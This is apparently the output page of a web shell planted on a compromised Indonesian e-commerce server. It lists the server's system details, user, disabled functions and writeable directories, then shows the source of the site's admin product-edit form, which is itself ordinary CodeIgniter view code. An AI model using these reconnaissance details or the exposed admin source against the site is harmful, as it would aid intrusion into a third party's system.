https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/rabbithabit.com/public_html/application/views/admin/products/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/rabbithabit.com/public_html/application/views/admin/products/edit.php
<div class="container">

<div class="row">
  <div class="col-sm-9">
    <a href="<?= base_url('admin/products'); ?>">
      <i class="fa fa-arrow-left" aria-hidden="true"></i> Kembali ke Produk
    </a><br><br>
    <h4><?= empty($products->id_products) ? 'Tambah Produk Baru' : 'Edit Produk: ' 
  . $products->title; ?></h4>
    <?= $this->session->flashdata('success'); ?>  
    <?= $this->session->flashdata('sku_error'); //to display sku error message ?>
  </div>
  <div class="col-sm-3">
    <?= form_open_multipart(); ?>
    <p style="text-align:right;"><?= form_submit('submit', 'Simpan Produk', 'class="btn btn-primary btn-success"'); ?>&nbsp;&nbsp;&nbsp;<?= anchor('admin/products', 'Batal', array('class' => 'btn btn-default')); ?></p><br>
    <input type="hidden" name="product_id" value="<?= $products->id_products; ?>">
  </div>  
</div>

<div class="row"> 
  <div class="col-sm-8">
    
    <div class="row">
      <div class="col-sm-12">
        <p><label>Nama Produk</label></p>
        <p>
          <?php
            $data = array(
              'name'        => 'product_name',
              'value'       => set_value('product_name', $products->title, FALSE),
              'class'       => 'form-control',
              'required'    => 'required'
            );
            echo form_input($data); 
          ?>
          <?= form_error('product_name'); ?>
        </p>
      </div>
    </div> 

    <div class="row">
      <div class="col-sm-12">
        <p>
          <label>Merek Produk</label>
          <button data-toggle="modal" data-target="#modal_MerekBaru" type="button" class="btn btn-primary btn-sm">
            Tambah Merek
          </button>
        </p>
        <select id="brand_id" name="brand_id" class="form-control" required>       
          <option value="" disabled selected>Pilih Merek...</option>
          <?php foreach($brands as $brand) : ?>
            <option value="<?= $brand->id_brands; ?>" <?= set_select('brand_id', $brand->id_brands); ?>
              <?php if (isset($brand_id)): ?>
                <?php if ($brand_id == $brand->id_brands) : ?>
                  selected="selected"
                <?php endif; ?>
              <?php endif ?>
            >
              <?= $brand->brand; ?>
            </option>   
          <?php endforeach; ?>      
        </select> 
        <?= form_error('brand_id'); ?>
      </div>
    </div> 

    <div class="row">
      <div class="col-sm-12">
        <p>
          <label>Kategori Produk</label>
          <button data-toggle="modal" data-target="#modal_KategoriBaru" type="button" class="btn btn-primary btn-sm">
            Tambah Kategori
          </button>
        </p>
        <div id="div_blok_category_product" style="height: 240px; overflow-y: scroll; padding: 20px; border:1px solid #ccc;">
          <?php foreach($parent_categories as $category) : ?>
            <input style="position:relative; bottom:3px; margin-right: 10px;" type="checkbox" name="category_id[]" value="<?= $category->id_categories; ?>" <?= set_checkbox('category_id[]', $category->id_categories); ?>
                <?php if (isset($chosen_categories)) : ?>
                  <?php //checked item 
                    foreach ($chosen_categories as $chosen_category) : ?>
                      <?php if ($chosen_category->id_category == $category->id_categories) : ?>
                          checked
                      <?php endif; ?>
                  <?php endforeach; ?>
                <?php endif; ?>
            >
            <?= ucfirst($category->category); ?><br> 
            <?php
              //check if this parent categories does have sub categories
              $this->db->select('id_categories')->from('categories')->where('parent', $category->id_categories);
              $count_child = $this->db->get()->num_rows();
            ?>
            <?php if ($count_child > 0) : //this category does have childen ?>
              <?php
                //get all child categories
                $this->db->select('*')->from('categories')->where('parent', $category->id_categories)->order_by('priority', 'ASC');
                $child_categories = $this->db->get()->result(); 
              ?>
              <?php foreach ($child_categories as $child) : ?>
                -- <input style="position:relative; bottom:3px; margin-right: 10px; margin-left:10px;" type="checkbox" name="category_id[]" value="<?= $child->id_categories; ?>" <?= set_checkbox('category_id[]', $child->id_categories); ?>
                <?php if (isset($chosen_categories)) : ?>
                  <?php
                    //checked item
                    foreach ($chosen_categories as $chosen_category) : ?>
                      <?php if ($chosen_category->id_category == $child->id_categories) : ?>
                        checked
                      <?php endif; ?>
                  <?php endforeach; ?>
                <?php endif; ?>  
                > 
                <?= ucfirst($child->category); ?> <br>
                <?php
                  //check if this parent categories does have sub categories
                  $this->db->select('id_categories')->from('categories')->where('parent', $child->id_categories);
                  $count_grandchild = $this->db->get()->num_rows();
                ?>
                <?php if ($count_grandchild > 0) : //this category does have childen ?>
                  <?php
                    //get all child categories
                    $this->db->select('*')->from('categories')->where('parent', $child->id_categories)->order_by('priority', 'ASC');
                    $grandchild_categories = $this->db->get()->result(); 
                  ?>
                  <?php foreach ($grandchild_categories as $grandchild) : ?>
                    ------- <input style="position:relative; bottom:3px; margin-right: 10px; margin-left:10px;" type="checkbox" name="category_id[]" value="<?= $grandchild->id_categories; ?>" <?= set_checkbox('category_id[]', $grandchild->id_categories); ?>
                      <?php if (isset($chosen_categories)) : ?>
                        <?php
                          //checked item
                          foreach ($chosen_categories as $chosen_category) : ?>
                            <?php if ($chosen_category->id_category == $grandchild->id_categories) : ?>
                              checked
                            <?php endif; ?>
                        <?php endforeach; ?>
                      <?php endif; ?>  
                    > 
                    <?= ucfirst($grandchild->category); ?> <br>
                  <?php endforeach; ?>
                <?php endif; ?>
              <?php endforeach; ?>
            <?php endif; ?>
          <?php endforeach; ?>      
        </div>
        <?= form_error('category_id[]'); ?>
      </div>
    </div> 
  </div>

  <div class="col-sm-4">
    
    <div class="row">
      <div class="col-sm-12">
        <p><label>Produk Aktif ?</label></p>
        <select name="product_status" class="form-control">
            <option value="0" <?php echo  set_select('product_status', '0'); ?>
                <?php if($products->product_status ==  0) : ?>
                selected
                <?php endif; ?>
             >Tidak</option>
            <option value="1" <?php echo  set_select('product_status', '1'); ?> 
                 <?php if($products->product_status ==  1) : ?>
                selected
                <?php endif; ?>
            >Ya</option>
        </select>    
      </div>
    </div> 

    <div class="row">
       <div class="col-sm-12">
          <p><label>Urutan Tampilan</label></p>
          <p>
          <?php
          $data = array(
              'name'        => 'priority',
              'value'       => $products->priority,
              'class'       => 'form-control'
              );
          echo form_input($data); ?>
          <?= form_error('priority'); ?></p>
      </div>
    </div> 

    <div class="row">

      <div class="col-sm-4">

        <p><label>Produk Terbaru ?</label></p>
        <select name="new_arrival" class="form-control">       
          <option value="no" <?= set_select('new_arrival', 'no'); ?>
          <?php if ($products->new_arrival == 'no') : ?>
              selected="selected"
          <?php endif; ?>
          >Tidak</option>
          <option value="yes" <?= set_select('new_arrival', 'yes'); ?>
            <?php if ($products->new_arrival == 'yes') : ?>
              selected="selected"
          <?php endif; ?>
          >Ya</option>
        </select> 

      </div>  

      <div class="col-sm-4">

        <p><label>Produk Unggulan ?</label></p>
          <select name="popular_product" class="form-control">       
            <option value="no" <?= set_select('popular_product', 'no'); ?>
            <?php if ($products->popular_product == 'no') : ?>
                selected="selected"
            <?php endif; ?>
            >Tidak</option>
            <option value="yes" <?= set_select('popular_product', 'yes'); ?>
              <?php if ($products->popular_product == 'yes') : ?>
                selected="selected"
            <?php endif; ?>
            >Ya</option> 
          </select> 

      </div>  

      <div class="col-sm-4">

         <p><label>Produk Terlaris ?</label></p>  
        <select name="best_seller" class="form-control">       
          <option value="no" <?= set_select('best_seller', 'no'); ?>
          <?php if ($products->best_seller == 'no') : ?>
              selected="selected"
          <?php endif; ?>
          >Tidak</option>
          <option value="yes" <?= set_select('best_seller', 'yes'); ?>
            <?php if ($products->best_seller == 'yes') : ?>
              selected="selected"
          <?php endif; ?>
          >Ya</option>
        </select> 
        
      </div>
    </div>  

    <div class="row">
       <div class="col-sm-6" style="display:none;">
          <p><label>DP Produk Indent (%)</label><p> 
          <?php
          $data = array(
              'name'        => 'indent_dp',
              // 'value'       => $products->indent_dp,  
              'value'     => 100,
              'class'       => 'form-control'
              );
          echo form_input($data); ?>
          <?= form_error('indent_dp'); ?></p>
      </div>
      <div class="col-sm-12">
          <p><label>Durasi/Info Indent</label></p>
          <p>
          <?php
          $data = array(
              'name'        => 'indent_time',
              'value'       => $products->indent_time, 
              'class'       => 'form-control'
              );
          echo form_input($data); ?>
          <?= form_error('indent_time'); ?></p>
      </div>
    </div>  

  </div>  
</div>  

<div class="row">

  <?php
    //get available product variants
    $this->db->select('*')->from('product_attributes')->order_by('priority', 'ASC');
    $variants = $this->db->get()->result(); 
    $count_variant = count($variants);
    $has_attributes = true;
    //check for each variant, does it have detail attributes? Each variant must have attributes before proceed....
    if($count_variant > 0) {
      foreach($variants as $variant) {
        $this->db->select('*')->from('product_attributes_detail')->where('product_attribute_id', $variant->id);
        $count_attributes = $this->db->get()->num_rows();
        if($count_attributes == 0) {
          $has_attributes = false;
        }
      }
    }
  ?>
  <?php if($count_variant == 0 || $has_attributes == false) : ?>
    <!-- product variants or attributes are not available -->
    <p style="color:red; font-weight:bold;">Varian Produk atau attribute belum dibuat. Silahkan membuat di menu Varian Produk.</p>
  <?php endif; ?>  

  <?php
    //count and get current product details
    $this->db->select('*')->from('product_details')->where('product_id', $products->id_products);
    $current_product_details = $this->db->get()->result_array();
    $count_current_product_details = count($current_product_details);
  ?> 
  <div class="col-sm-12">
      <p>
        <label>
          <input <?= $products->active_product_link == 'yes' ? 'checked' : ''; ?> type="checkbox" name="active_product_link" value="yes">
          Check to activate product links (Shopee)
        </label>
        <br>
        (full URL. Eg: https://shopee.co.id/Kaos-Pria-Dewasa-Superhero-Batman-Hitam-DHS22-i.4650504.999293022)
      </p>
      <p>
      <?php
      $data = array(
          'name'        => 'product_link',
          'value'       => $products->product_link, 
          'class'       => 'form-control'
          );
      echo form_input($data); ?>
      <?= form_error('product_link'); ?></p>
  </div>

  <div class="col-sm-12">
    <p>
      <label>Detil Produk</label><br>
      <span style="font-size: 12px;">(SKU/Kode Produk harus diisi. Untuk menghapus baris detil produk, klik icon "Hapus")</span>
      <br>
      <span style="font-size: 12px;">
        Variants per SKU cannot be different which can differ only in the details of the variant. 
      </span>
    </p>
      <div class="table-responsive">
        <!-- <table class="table table-striped"> -->
          <table>
            <tr> 
              <th>SKU/Kode</th>
              <th>Harga (Rp)</th>
              <th>Harga<br>Diskon (Rp)</th>
              <th>Panjang (cm)</th>
              <th>Lebar (cm)</th>
              <th>Tinggi (cm)</th>
              <th>Berat (gram)</th>
              <th><i class="fa fa-question-circle" data-toggle="tooltip" title="Produk dapat diorder walaupun stok 0"></i> Indent ?</th>
              <th></th>
              <th></th>
              <th>Hapus</th>
            </tr>

            <?php for($i = 0 ; $i < 20; $i++) : ?>  
            
            <tr id="tableRow<?= $i; ?>" 
              <?php if($i > 0) : ?>
                style="display: none;"
              <?php endif; ?>  
              >   
              <?php if (isset($current_product_details[$i])) : ?>

                  <script>
                    $('#tableRow<?= $i; ?>').show();
                  </script>  

                  <td><input style="width: 110px;" type="text" id="sku<?= $i; ?>" name="product_details[<?= $i; ?>][sku]" value="<?= $current_product_details[$i]['sku']; ?>"></td>
                  <td><input style="width: 110px;" type="text" name="product_details[<?= $i; ?>][price]" value="<?= $current_product_details[$i]['price']; ?>"></td>
                  <td><input style="width: 110px;" type="text" name="product_details[<?= $i; ?>][discounted_price]" value="<?= $current_product_details[$i]['discounted_price']; ?>"></td>
                  <td><input style="width: 110px;" type="text" name="product_details[<?= $i; ?>][length]" value="<?= $current_product_details[$i]['length']; ?>"></td>
                  <td><input style="width: 110px;" type="text" name="product_details[<?= $i; ?>][width]" value="<?= $current_product_details[$i]['width']; ?>"></td>
                  <td><input style="width: 110px;" type="text" name="product_details[<?= $i; ?>][height]" value="<?= $current_product_details[$i]['height']; ?>"></td>
                  <td><input style="width: 110px;" type="text" name="product_details[<?= $i; ?>][weight]" value="<?= $current_product_details[$i]['weight']; ?>"></td>
                  <td>
                    <select name="product_details[<?= $i; ?>][is_indent]">
                      <option value="no" 
                      <?php if($current_product_details[$i]['is_indent'] == 'no') : ?>  
                        selected
                      <?php endif; ?>  
                      >Tidak</option>
                      <option value="yes"
                      <?php if($current_product_details[$i]['is_indent'] == 'yes') : ?>  
                        selected
                      <?php endif; ?>  
                      >Ya</option>
                    </select>  
                  </td>  
                  <td><button id="varian<?= $i; ?>" data-toggle="modal" data-target="#myModal<?= $i; ?>">Edit Varian</button></td>
                  <td><button id="addRow<?= $i; ?>">+</button></td>
                  <td>&nbsp;&nbsp;<?= bt_delete('admin/products/delete_product_detail/' .  $products->id_products . '/' . $current_product_details[$i]['id']); ?>&nbsp;&nbsp;</td>
                  
              <?php else : ?>

                  <td><input style="width: 110px;" type="text" id="sku<?= $i; ?>" name="product_details[<?= $i; ?>][sku]"></td>
                  <td><input style="width: 110px;" type="text" name="product_details[<?= $i; ?>][price]"></td>
                  <td><input style="width: 110px;" type="text" name="product_details[<?= $i; ?>][discounted_price]"></td>
                  <td><input style="width: 110px;" type="text" name="product_details[<?= $i; ?>][length]"></td>
                  <td><input style="width: 110px;" type="text" name="product_details[<?= $i; ?>][width]"></td>
                  <td><input style="width: 110px;" type="text" name="product_details[<?= $i; ?>][height]"></td>
                  <td><input style="width: 110px;" type="text" name="product_details[<?= $i; ?>][weight]"></td>
                  <td>
                    <select name="product_details[<?= $i; ?>][is_indent]">
                      <option value="no">Tidak</option>
                      <option value="yes">Ya</option>
                    </select>  
                  </td>  
                  <td><button id="varian<?= $i; ?>" data-toggle="modal" data-target="#myModal<?= $i; ?>">Edit Varian</button></td>
                  <td><button id="addRow<?= $i; ?>">+</button></td>
                  <td></td>

              <?php endif; ?> 
            </tr>

             <!-- Modal -->
            <div class="modal fade" id="myModal<?= $i; ?>" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">
              <div class="modal-dialog" role="document">
                <div class="modal-content">
                  <div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
                    <h4 class="modal-title" id="myModalLabel">Edit Kombinasi Produk<br>
                      <span style="font-size: 12px">Untuk menghapus varian/atribut, kosongkan pilihannya ("Pilih Varian / Pilih Atribut")</span></h4>
                  </div>
                  <div class="modal-body">
                    
                    <?php 
                      //get all available varian
                      $this->db->select('*')->from('product_attributes')->order_by('priority', 'ASC');
                      $variants = $this->db->get()->result(); 

                      if(isset($current_product_details[$i])) {
                        //count and get current variants and attributes
                        $this->db->select('*')->from('product_combination')->where('product_id', $products->id_products)->where('product_details_id', $current_product_details[$i]['id'])->order_by('id', 'ASC');
                        $current_combination = $this->db->get()->result_array();
                      }  
                    ?> 

                    <?php for($x = 0; $x < 10; $x++) : ?> 

                      <div class="row" id="varianRow<?= $i; ?><?= $x; ?>" 

                        <?php if($x > 0) : ?>
                          style="display: none;"
                        <?php endif; ?>  
                        >

                        <?php if (isset($current_product_details[$i]) && isset($current_combination[$x])) : ?>
                          <script>
                            $('#varianRow<?= $i; ?><?= $x; ?>').show();
                          </script>  
                        <?php endif; ?>
                          
                        <div class="col-sm-5">

                          <select name="product_details[<?= $i; ?>][variant][<?= $x; ?>]" class="form-control" id="chooseVarian<?= $i; ?><?= $x; ?>">
                            <option value="">Pilih Varian</option>
                            <?php foreach ($variants as $varian) : ?>
                               <option value="<?= $varian->id; ?>" 
                                <?php if (isset($current_product_details[$i]) && isset($current_combination[$x])) : ?>
                                    <?php if($varian->id == $current_combination[$x]['attribute_id']) : ?>
                                    selected
                                    <?php endif; ?>
                                <?php endif; ?>
                                ><?= ucwords($varian->product_attribute); ?></option>
                            <?php endforeach; ?>
                          </select>  

                        </div>  
                         <div class="col-sm-5">

                          <select name="product_details[<?= $i; ?>][attribute][<?= $x; ?>]" class="form-control" id="chooseAttribute<?= $i; ?><?= $x; ?>">

                            <?php if(isset($current_product_details[$i]) && count($current_combination) > 0) : ?>

                                <?php 
                                  $this->db->select('id, attribute_detail')->from('product_attributes_detail')->where('product_attribute_id', $current_combination[$x]['attribute_id'])->order_by('priority', 'ASC');
                                  $attributes = $this->db->get()->result();
                                ?>

                                <option value="">Pilih Atribut</option>
                                <?php foreach ($attributes as $attribute) : ?>
                                  <option value="<?= $attribute->id; ?>"
                                    <?php if($attribute->id == $current_combination[$x]['attribute_detail_id']) : ?>
                                    selected
                                    <?php endif; ?>
                                    ><?= ucwords($attribute->attribute_detail); ?></option>
                                <?php endforeach; ?>

                            <?php else : ?>

                                <option value=""></option>

                            <?php endif; ?>  
                          </select>  

                        </div>  
                        <div class="col-sm-1">
                          <button id="varianAdd<?= $i; ?><?= $x; ?>">+</button>
                        </div>  
                        <div class="col-sm-1">
                          <button id="varianRemove<?= $i; ?><?= $x; ?>">-</button>
                        </div>  
                      </div>   
                      
                      <script>
                         //add row of varian +
                        $('#varianAdd<?= $i; ?><?= $x; ?>').on('click', function(e) {
                            e.preventDefault();
                            $('#varianRow<?= $i; ?><?= $x + 1; ?>').show();
                        }); 

                        $('#chooseVarian<?= $i; ?><?= $x; ?>').change(function() {
                            id_varian = $(this).val();
                            ajax_get_attributes(<?= $i; ?>, <?= $x; ?>, id_varian);
                        });  

                      </script>  

                    <?php endfor; ?>  

                  </div>
                  <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal">Selesai</button>
                  </div>
                </div>
              </div>
            </div>

              <script>
              $(document).ready(function() {

                //add row of product +
                $('#addRow<?= $i; ?>').on('click', function(e) {
                    e.preventDefault();
                    $('#tableRow<?= $i + 1; ?>').show();
                });

                //remove row of product -
                if(<?= $i; ?> > 1) {
                  $('#removeRow<?= $i; ?>').on('click', function(e) {
                      e.preventDefault();
                      $('#tableRow<?= $i; ?>').hide();
                  }); 
                } else {
                   $('#removeRow<?= $i; ?>').on('click', function(e) {
                      e.preventDefault();
                  }); 
                }

                //open modal varian
                $('#varian<?= $i; ?>').on('click', function(e) {
                    e.preventDefault();
                }); 
              });
             </script>

            <?php endfor; ?>  
        </table>
      </div> 
    </div>
  </div> 

  <?php if($new_product == 'no') : ?>
    <a target="_blank" class="btn btn-primary" href="<?= base_url() . 'admin/stocks/get/' . $products->id_products; ?>">Lihat & Edit Stok</a> <a target="_blank" class="btn btn-success" href="<?= base_url() . 'admin/products/product_images/' . $products->id_products; ?>">Lihat & Edit Foto Produk</a>    
  <?php endif; ?>  

</div>

<script>
function ajax_get_attributes(i, x, id_varian) {
  $.ajax({
      'url'       : '<?= base_url(); ?>' + 'admin/products/ajax_get_attributes',
      'type'      : 'POST',
      'data'      : {
                    'id_varian' : id_varian,
                    '<?= $this->security->get_csrf_token_name(); ?>' : '<?= $this->security->get_csrf_hash(); ?>'
                    }, 
      'success'   : function(data) {
          if (data) { 
              /*---success----*/
              $('#chooseAttribute' + i + x).html(data);  
          };
      }
  });
}
</script>  

<div class="row">
  <div class="col-sm-12">
    <p><label>Deskripsi Produk</label></p>
    <div class="tabbable">
      <ul class="nav nav-tabs">
        <li class="active"><a href="#description_short" data-toggle="tab">Deskripsi Singkat</a></li>
        <li><a href="#description_long" data-toggle="tab">Deskripsi Lengkap</a></li>
        <!-- <li><a href="#description_other" data-toggle="tab">Informasi Lainnya</a></li> -->
      </ul>
      <div class="tab-content">
        <br>
        <div class="tab-pane active" id="description_short">
          <div class="tabbable">
            <ul class="nav nav-tabs">
              <li class="active"><a href="#description_id" data-toggle="tab">Indonesian</a></li>
              <li><a href="#description_en" data-toggle="tab">English</a></li>
            </ul>
            <div class="tab-content">
              <div class="tab-pane active" id="description_id">
                <?php echo form_textarea('description', set_value('description', $products->description, FALSE)); ?>
                <?php echo form_error('description'); ?>
              </div>
              <div class="tab-pane" id="description_en">
                <?php echo form_textarea('description_en', set_value('description_en', $products->description_en, FALSE)); ?>
                <?php echo form_error('description_en'); ?>
              </div>
            </div>
          </div>
        </div>

        <div class="tab-pane" id="description_long">
          <div class="tabbable">
            <ul class="nav nav-tabs">
              <li class="active"><a href="#longdescription_id" data-toggle="tab">Indonesian</a></li>
              <li><a href="#longdescription_en" data-toggle="tab">English</a></li>
            </ul>
            <div class="tab-content">
              <div class="tab-pane active" id="longdescription_id">
                <?php echo form_textarea('long_description', set_value('long_description', $products->long_description, FALSE)); ?>
                <?php echo form_error('long_description'); ?>
              </div>
              <div class="tab-pane" id="longdescription_en">
                <?php echo form_textarea('long_description_en', set_value('long_description_en', $products->long_description_en, FALSE)); ?>
                <?php echo form_error('long_description_en'); ?>
              </div>
            </div>
          </div>
        </div>
        <div class="tab-pane" id="description_other">
          <div class="tabbable">
            <ul class="nav nav-tabs">
              <li class="active"><a href="#additionalinfo_id" data-toggle="tab">Indonesian</a></li>
              <li><a href="#additionalinfo_en" data-toggle="tab">English</a></li>
            </ul>
            <div class="tab-content">
              <div class="tab-pane active" id="additionalinfo_id">
                <?php echo form_textarea('additional_information', set_value('additional_information', $products->additional_information, FALSE)); ?>
                <?php echo form_error('additional_information'); ?>
              </div>
              <div class="tab-pane" id="additionalinfo_en">
                <?php echo form_textarea('additional_information_en', set_value('additional_information_en', $products->additional_information_en, FALSE)); ?>
                <?php echo form_error('additional_information_en'); ?>
              </div>
            </div>
          </div>
        </div>
      </div> 
    </div>
  </div>
</div> 

<div class="row">
  <div class="col-sm-12"> 
    <div class="tabbable">
      <ul class="nav nav-tabs">
        <li class="active"><a href="#how_to_use" data-toggle="tab">How To Use</a></li>
        <li><a href="#ingredients" data-toggle="tab">Ingredients</a></li>
        <li><a href="#link_video" data-toggle="tab">Video</a></li>
        <!-- <li><a href="#description_other" data-toggle="tab">Informasi Lainnya</a></li> -->
      </ul>
      <div class="tab-content">
        <br>
        <div class="tab-pane active" id="how_to_use">
          <div class="tabbable">
            <ul class="nav nav-tabs">
              <li class="active"><a href="#how_to_use_id" data-toggle="tab">Indonesian</a></li>
              <li><a href="#how_to_use_en" data-toggle="tab">English</a></li>
            </ul>
            <div class="tab-content">
              <div class="tab-pane active" id="how_to_use_id">
                <?php echo form_textarea('additional_information', set_value('additional_information', $products->additional_information, FALSE)); ?>
                <?php echo form_error('additional_information'); ?>
              </div>
              <div class="tab-pane" id="how_to_use_en">
                <?php echo form_textarea('additional_information_en', set_value('additional_information_en', $products->additional_information_en, FALSE)); ?>
                <?php echo form_error('additional_information_en'); ?>
              </div>
            </div>
          </div>
        </div>

        <div class="tab-pane" id="ingredients">
          <div class="tabbable">
            <ul class="nav nav-tabs">
              <li class="active"><a href="#ingredients_id" data-toggle="tab">Indonesian</a></li>
              <li><a href="#ingredients_en" data-toggle="tab">English</a></li>
            </ul>
            <div class="tab-content">
              <div class="tab-pane active" id="ingredients_id">
                <?php echo form_textarea('ingredients', set_value('ingredients', $products->ingredients, FALSE)); ?>
                <?php echo form_error('ingredients'); ?>
              </div>
              <div class="tab-pane" id="ingredients_en">
                <?php echo form_textarea('ingredients_en', set_value('ingredients_en', $products->ingredients_en, FALSE)); ?>
                <?php echo form_error('ingredients_en'); ?>
              </div>
            </div>
          </div>
        </div>
        <div class="tab-pane" id="link_video">
          <div class="tabbable">
            <ul class="nav nav-tabs">
              <!-- <li class="active"><a href="#link_video_id" data-toggle="tab">Indonesian</a></li> -->
              <li class="active"><a href="#link_video_en" data-toggle="tab">English</a></li>
            </ul>
            <div class="tab-content">
              <!-- <div class="tab-pane active" id="link_video_id">
                <?php echo form_textarea('link_video', set_value('link_video', $products->link_video, FALSE)); ?>
                <?php echo form_error('link_video'); ?>
              </div> -->
              <div class="tab-pane active" id="link_video_en">
                <div class="row" style="margin:0px !important;">
                  <div class="col-12">
                    <label>
                      <input <?= $products->active_link_video == 'yes' ? 'checked' : ''; ?> type="radio" name="active_link_video" value="yes">
                      Link Video
                    </label>
                    <?php
                    $data = array(
                        'name'        => 'link_video',
                        'value'       => set_value('link_video', $products->link_video),
                        'class'       => 'form-control'
                     );
                    echo form_input($data); ?>
                    <?= form_error('link_video'); ?>
                  </div>
                  <div class="col-12" style="margin-top:15px;">
                    <label>
                      <input <?= $products->active_link_video != 'yes' ? 'checked' : ''; ?> type="radio" name="active_link_video" value="no">
                      Banner Video
                    </label>
                    <br>(Width : 640px & Height : 330px)
                    <input type="file" name="banner_link_video">
                    <?php if ($products->banner_link_video != null): ?>
                      <img style="width: 100px;" src="<?= base_url('uploads/banners/').$products->banner_link_video; ?>" alt="">
                    <?php endif; ?>
                  </div>
                </div> 
              </div>
            </div>
          </div>
        </div>
      </div> 
    </div>
  </div>
</div>
<div class="container">
<div class="row">
  <div class="col-sm-12">
    <p><label>Kurir Pengiriman</label></p>
    <div style="height: 150px; overflow-y: scroll; padding: 20px; border:1px solid #ccc;">
      <?php foreach($shipment as $item_shipment) : ?>
        <input style="position:relative; bottom:3px; margin-right: 10px;" type="checkbox" name="shipment_id[]" value="<?= $item_shipment->id; ?>" <?= set_checkbox('shipment_id[]', $item_shipment->id); ?>
            <?php if (isset($chosen_shipments)) : ?> 
              <?php 
                foreach ($chosen_shipments as $chosen_shipment) : ?>
                  <?php if ($chosen_shipment->shipment_method_id == $item_shipment->id) : ?>
                    checked
                  <?php endif; ?>
              <?php endforeach; ?>
            <?php endif; ?>
            <?php 
            // shipping reguler selalu ceklis
            if($item_shipment->id == 3): 
            ?>
              checked
            <?php endif; ?>
        ><?= ucfirst($item_shipment->name); ?><br>
      <?php endforeach; ?>      
    </div>
    <?= form_error('shipment_id[]'); ?>
  </div>
</div> 

<div class="row">
  <div class="col-sm-12">
      <p><label>SEO Judul Browser</label></p>
      <p>
      <?php
      $data = array(
          'name'        => 'meta_title',
          'value'       => set_value('meta_title', $products->meta_title),
          'class'       => 'form-control'
       );
      echo form_input($data); ?>
      <?= form_error('meta_title'); ?></p>
  </div>
</div> 

<div class="row">
  <div class="col-sm-12">
      <p><label>SEO Deskripsi Meta</label></p>
      <p>
      <?php
      $data = array(
          'name'        => 'meta_description',
          'value'       => set_value('meta_description', $products->meta_description),
          'class'       => 'form-control'
       );
      echo form_input($data); ?>
      <?= form_error('meta_description'); ?></p>
  </div>
</div> 

<div class="row">
  <div class="col-sm-12" style="text-align: center;">
    <?= form_submit('submit', 'Simpan Produk', 'class="btn btn-primary btn-success"'); ?>
    &nbsp;&nbsp;&nbsp;<?= anchor('admin/products', 'Batal', array('class' => 'btn btn-default')); ?>
  </div>
</div> 
</div> 
</div>

<script>
$(document).ready(function() { 

  //submit form, check SKUs must not be the same..
   $('form').submit(function(e){
      
      var skuArray = []; //set sku array as empty array...  
      
      //add all sku input values into empty array
      for(var i = 0; i < 20; i++) {
          if($('#sku' + i).val() != '') {
              skuArray.push($('#sku' + i).val());
          }  
      }

      //check for duplicate input. same row array will not be checked..
      for (x = 0; x < skuArray.length; x++) { 
          for(var i = 0; i < 20; i++) {
              if(i != x) {
                  if($('#sku' + i).val() == skuArray[x]) {
                      e.preventDefault();
                      alert('SKU tidak boleh sama.');
                      return false;
                      break; 
                  }       
              }
          }
      }
  }); 
});
</script>

<?= form_close(); ?>


<!-- moda merek baru -->
<div class="modal fade" id="modal_MerekBaru" role="dialog">
  <div class="modal-dialog modal-lg">
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal">&times;</button>
        <h4 class="modal-title">Buat Merek Baru</h4>
      </div>
      <div class="modal-body">

        <!-- start form -->
        <?php 
        $attributes = array('id' => 'form_addmerk');
         ?>
        <?= form_open_multipart(base_url().'admin/brands/edit',$attributes); ?>  
        <!-- <form id="form_addmerk" method="POST" action=""> -->
        <div class="div_errors">
          
        </div>
        <div class="row">
          <div class="col-sm-3">
              <p>Aktif ?</p>
          </div><!-- end class="col-sm-3" -->

           <div class="col-sm-9">
              <p>
              <?php
              $options = array(
                  1  => 'Ya',
                  0  => 'Tidak'
              );
              echo form_dropdown('status', $options, '', 
              'class="form-control"'); ?>
              </p>
          </div> 
        </div>
        <div class="row"> 
          <div class="col-sm-3">
              <p>Nama Merek</p>
          </div><!-- end class="col-sm-3" -->

           <div class="col-sm-9"> 
              <p>
              <?php
              $data = array(  
                  'name'        => 'brand_name',
                  'value'       => '',
                  'class'       => 'form-control',
                  'required'       => 'required'
               );
              echo form_input($data); ?>
              <?= form_error('brand_name'); ?></p>
          </div> 
        </div>

        <div class="row">
            <div class="col-sm-3">
                <p>Logo Merek
                <?php if (!empty($brands->logo)) : ?>
                    &nbsp;&nbsp;
                    <img style="width:100px; height:auto;" src="<?= base_url() . 'uploads/brand/' . $brands->logo; ?>"  alt="" />
                    <p>
                      <i class="fa fa fa-trash-o" aria-hidden="true"></i> 
                      <a href="<?= base_url() . 'admin/brands/delete_image/' . $brands->id_brands . '/logo'; ?>">Hapus</a>
                    </p>
                  <?php endif; ?>   
                </p>
            </div> 

            <div class="col-sm-9">
                <p>
                  <input type="file" name="userfile2" size="20" class="btn btn-default btn-file form-control" /> 
                 <?php
                    //get max logo width and height from configuration table
                    $this->db->select('brand_logo_width, brand_logo_height')->from('configuration')->where('id_configuration', 1); 
                    $logo_dimension = $this->db->get()->row(); 
                ?>

                <span style="font-size:12px; font-style: italic;">
                  Ukuran maks lebar 
                  <?= $logo_dimension->brand_logo_width;?>
                    pixel. Tinggi 
                    <?= $logo_dimension->brand_logo_height;?>
                     pixel. Format jpg/jpeg/png/gif. Ukuran maks 200KB.
                </span>
                <span style="color:#F7931E;">
                  <?php echo form_error('userfile2'); ?>
                    
                </span>
                <?php echo $this->session->flashdata('logo_error'); //to display error message ?>
              </p> 
            </div><!-- end class="col-sm-9" --> 
        </div> <!-- end row -->  

        <div class="row">
          <div class="col-sm-3">
              <p>Gambar Banner
